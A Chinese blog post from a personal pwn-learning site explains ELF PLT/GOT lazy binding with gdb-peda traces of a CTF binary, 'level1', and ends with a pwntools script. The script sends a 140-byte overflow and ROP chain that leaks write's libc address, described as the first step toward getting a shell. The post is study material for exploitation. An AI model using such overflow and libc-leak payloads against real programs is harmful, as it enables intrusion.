ZoE

个人站

Pwn的挖坑填坑之旅


非常详细地解释plt&got

非常详细解释plt&got

  • 比较好的参考文章 GOT(Global Offset Table):全局偏移表用于记录在 ELF 文件中所用到的共享库中符号的绝对地址。在程序刚开始运行时,GOT 表项是空的,当符号第一次被调用时会动态解析符号的绝对地址然后转去执行,并将被解析符号的绝对地址记录在 GOT 中,第二次调用同一符号时,由于 GOT 中已经记录了其绝对地址,直接转去执行即可(不用重新解析)。

PLT(Procedure Linkage Table):过程链接表的作用是将位置无关的符号转移到绝对地址。当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行。

GOT是Linux ELF文件中用于定位全局变量和函数的一个表。PLT是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。 所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。(打个比方,你一次性去超市买了一大堆物品,但是其中有些物品可能你永远也不会使用,这样就浪费了钱财;而延迟绑定就相当于需要的时候才去超市买东西,这样就节省了开支。) 下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

bar@plt:
jmp bar@got
patch bar@got

这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。

关于这个非常棒的一个解释博文:http://rickgray.me/use-gdb-to-study-got-and-plt

例子解析:

做这个例子的时候有一个问题:从网上下载的ELF文件可以完成复现,但是自己用源码编译的则会出错,地址会有点奇怪,可能是自己配置的问题还处理的不够好。。。待解决;下面用下载下来的ELF文件(之前的level1)来解释一下这里的pit&got 已解决:编译程序时没有关闭pie,只要添加参数-no-pie即可。

这里以write函数作为例子:

首先单步执行到call 0x8048340 <write@plt> 查看0x8048340地址的情况:

db-peda$ x /3i 0x8048340
   0x8048340 <write@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x8048346 <write@plt+6>:	push   0x18
   0x804834b <write@plt+11>:	jmp    0x8048300

可以看出其跳转到地址0x804a00c 用xinfo查看其跳转情况:

gdb-peda$ xinfo 0x804a00c
0x804a00c --> 0x8048346 (<write@plt+6>:	push   0x18)
Virtual memory mapping:
Start : 0x0804a000
End   : 0x0804b000
Offset: 0xc
Perm  : rwxp
Name  : /root/Desktop/ROP/linux_x86/level1

容易知道其在plt表中有一个跳转到0x8048346 ,跟进查看地址情况

gdb-peda$ pdisass 0x8048346
Dump of assembler code from 0x8048346 to 0x8048366::	Dump of assembler code from 0x8048346 to 0x8048366:
   0x08048346 <write@plt+6>:	push   0x18
   0x0804834b <write@plt+11>:	jmp    0x8048300
   0x08048350 <_start+0>:	xor    ebp,ebp
   0x08048352 <_start+2>:	pop    esi
   0x08048353 <_start+3>:	mov    ecx,esp
   0x08048355 <_start+5>:	and    esp,0xfffffff0
   0x08048358 <_start+8>:	push   eax
   0x08048359 <_start+9>:	push   esp
   0x0804835a <_start+10>:	push   edx
   0x0804835b <_start+11>:	push   0x80484d0
   0x08048360 <_start+16>:	push   0x8048460
   0x08048365 <_start+21>:	push   ecx
End of assembler dump.

又一次跳转0x8048300

gdb-peda$ pdisass 0x8048300
Dump of assembler code from 0x8048300 to 0x8048320::	Dump of assembler code from 0x8048300 to 0x8048320:
   0x08048300:	push   DWORD PTR ds:0x8049ff8
   0x08048306:	jmp    DWORD PTR ds:0x8049ffc
   0x0804830c:	add    BYTE PTR [eax],al
   0x0804830e:	add    BYTE PTR [eax],al
   0x08048310 <read@plt+0>:	jmp    DWORD PTR ds:0x804a000
   0x08048316 <read@plt+6>:	push   0x0
   0x0804831b <read@plt+11>:	jmp    0x8048300
End of assembler dump.

再一次跳转0x8049ffc

gdb-peda$ xinfo 0x8049ffc
0x8049ffc --> 0xb7ff0710 (<_dl_runtime_resolve>:	push   eax)
Virtual memory mapping:
Start : 0x08049000
End   : 0x0804a000
Offset: 0xffc
Perm  : r-xp
Name  : /root/Desktop/ROP/linux_x86/level1

这上面的_dl_runtime_resolve涉及到后面level4要讲的一个高级ROP的用法,这里先不对这里作详细讲解

经过上面的流程分析(多次跳转),我们可以进行进行单步调试来进行分析,当动态解析(_dl_runtime_resolve)完成后,流程会直接跳转到 printf() 函数主体

这一堆的跳转可以结合上面那一副图来进行理解。

单步跟进发现进行一系列的符号解析操作之后ret到write函数的真正地址0xb7ed3cc0进行操作。

怎样验证这个就是write的真实地址呢? 写了个程序来打印write的真实地址: 注:下面这个脚本可以用来泄露libc地址的第一步,再通过计算可以得到system的真实地址,最后成功getshell。

from pwn import *
elf = ELF('level1')

p = process('./level1')

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

运行结果:

总结来说就是,GOT 保存了程序中所要调用的函数的地址,运行一开时其表项为空,会在运行时实时的更新表项。一个符号调用在第一次时会解析出绝对地址更新到 GOT 中,第二次调用时就直接找到 GOT 表项所存储的函数地址直接调用了。

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦